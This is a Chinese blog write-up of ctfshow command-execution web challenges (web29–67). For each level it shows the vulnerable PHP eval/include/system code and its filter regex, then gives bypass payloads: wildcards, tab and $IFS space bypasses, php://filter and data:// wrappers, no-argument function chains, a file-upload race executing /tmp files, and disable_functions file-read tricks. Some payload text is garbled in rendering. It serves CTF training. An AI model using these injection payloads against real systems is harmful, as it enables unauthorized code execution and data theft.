ctfshow命令执行


做题前先看看
命令执行小技巧
命令执行绕过总结

WEB29-通配符


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

方法一:
模糊搜索
payload:?c=system(‘cat f*’);
解法二:
在这里插入图片描述
了解 eval函数之后

传入
c=echo “npfs”;?>ctf <?php system(‘ls’);
可以看到有 flag.php文件,之后采用include进行包含读取
payload:

?c=echo “npfs”; ?>ctf <?php include($_GET[‘url’]);&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB30-通配符

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解法一:

pyaload: ?c=echo cat f*;
pyaload: ?c=echo nl f*;

类似cat的还有:

more,less,nl,tail

解法二:

payload:
?c=echo "npfs "; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB31-空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本题过滤了flag,sytem,php,cat,sort shell,.,空格,’

当cat被过滤后可以使用以下命令替代

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器,这个也可以查看

当空格被过滤后可以使用以下命令替代
%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS%09(tab)、< 、<>、%20(space)
payload:

?c=echonl%09f*;

web32-包含post,伪协议绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }  
}else{
    highlight_file(__FILE__);
}

在前面基础上又过滤了括号

使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过

paylaod

?c=include"$_POST[1]"?>
1=php://filter/read=convert.base64-encode/resource=flag.php
1
2
当然使用GET传参也能得到相同效果

payload

?c=include$_GET[“a”]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
传递后得到一串base64编码,解码后得到flag

flag:flag{cc9b544f-8f19-48b6-b867-b9837304f780}

WEB33-空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题在前面的基础上增加了空格,双引号的过滤。
pyaload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB34-同上

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了:
和上个payload一样。

WEB35-等号过滤

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了等号
payload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB36-过滤数字

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多过滤了0到九
payload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB37-data伪协议

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }      
}else{
    highlight_file(__FILE__);
}

这里已经给出了include,直接伪协议。(注意要用双引号,因为题目用单引号)
payload:

data:text/plain,<?php system("cat f*")?>

WEB38-data base64绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

增加了php的过滤
payload:

?c=data://text,plain,baser64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==

web39-data伪协议

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里多了一个.php
然后我们直接用伪协议

payload:data:text/plain,<?php system('cat f*')?>

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40-无参数构造


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

基本上数字和必要的符号都被过滤了。
这里可以构造无参数函数进行文件读取。
无参数文件读取.
payload:

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

c=session_start();system(session_id());
passid=ls

web55-无字母数字的命令执行

源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这里就不细说了,因为这里我直接裂开,看大佬博客就好了。
无字母数字的命令执行
p神之无字母数字webshell之提高篇
大概思路是这样的,我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限

在这里插入图片描述

开搞
先自己搭建一个文件上传的网页。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Document</title>
</head>
<body>
	<form action="http://23bd2220-6d66-4e32-9d88-cd4840491840.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
	<label for="file">文件名:</label>
	<input type="file" name="file" id="file"><br>
	<input type="submit" name="submit" value="提交">

	</form>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web56-无字母数字的命令执行

同上,但是需要注意的是多上传几次,如果没有出现的话。

web57-字符异或拼数字

还是过滤了数字和字母,不仅如此,还过滤了|.|,|?|*|-|=|[意味着刚刚那题的方法以及不适应了,因为glob通配符给ban了

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

文章有提示,flag在36.php//flag in 36.php,所以可以想办法凑出一个36来
可以用这种操作$(()),shell中各种括号()、(())、[]、[[]]、{}的作用和区别
~在$(())中的意思是按位取反,当我再里面凑到-37的时候再取一个反就得到了36

这里我们可以通过一个小例子:

echo $(())
在这里插入图片描述
echo ( (   ((~ (( (())))
在这里插入图片描述
echo ( ( (( (((($(())))$(($(())))))
在这里插入图片描述
echo $((~-37))
在这里插入图片描述

通过上面的例子我们思路就清晰了挺多,意思就是通过-1构造出-37在取反,因为前面我们构造出来了-1,我们只需要构造37个再取反就可以了
( ( ) ) 是 0 , (()) 是0, (())0((~$(())))就是0取反是-1

( ( (( (((($(())))$(($(()))))) 也就是(-1-1) 等于-2
在这里插入图片描述

所以就堆37个 ( (   ((~ (( (())))
在这里插入图片描述
再取个反
在这里插入图片描述

web58-绕过disable_functions

源代码

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
这里我们输入ls会报错
在这里插入图片描述
这里猜测是phpini开启了disable_functions这个函数
disable_functions:

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用

然后因为我也是刚刚了解这个函数,所以我们这里参考y4和羽师傅的博客
y4
yu师傅
首先要获取文件路径,在这里我们可以用两种方式:

pyload:c=print_r(scandir(dirname(’__FILE__’)));
payload:c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString()." ");}

因为没有任何过滤我们便可以读取任意的文件

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . “
”; };

单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php");           //过58
readfile("flag.php");                         //过58
print_r(file("flag.php"));                    //过59
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  //过60

通过高亮显示文件

//通过高亮显示php文件
show_source("flag.php");             
highlight_file("flag.php");             

这里上面这么多payload随便用一个
在这里插入图片描述
在这里插入图片描述

web59

首先查找flag文件的地址c=print_r(scandir(’./’));找到在当前目录下

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

同时记录一个,但是这道题不能用
$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
还有新姿势

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60


web61-65

为了熟悉学习新姿势c= a = o p e n d i r ( ′ . / ′ ) ; w h i l e ( ( a=opendir('./');while(( a=opendir(./);while((file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web66-67

扫描目录c=var_dump(scandir("/"));,发现是flag.txt

//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值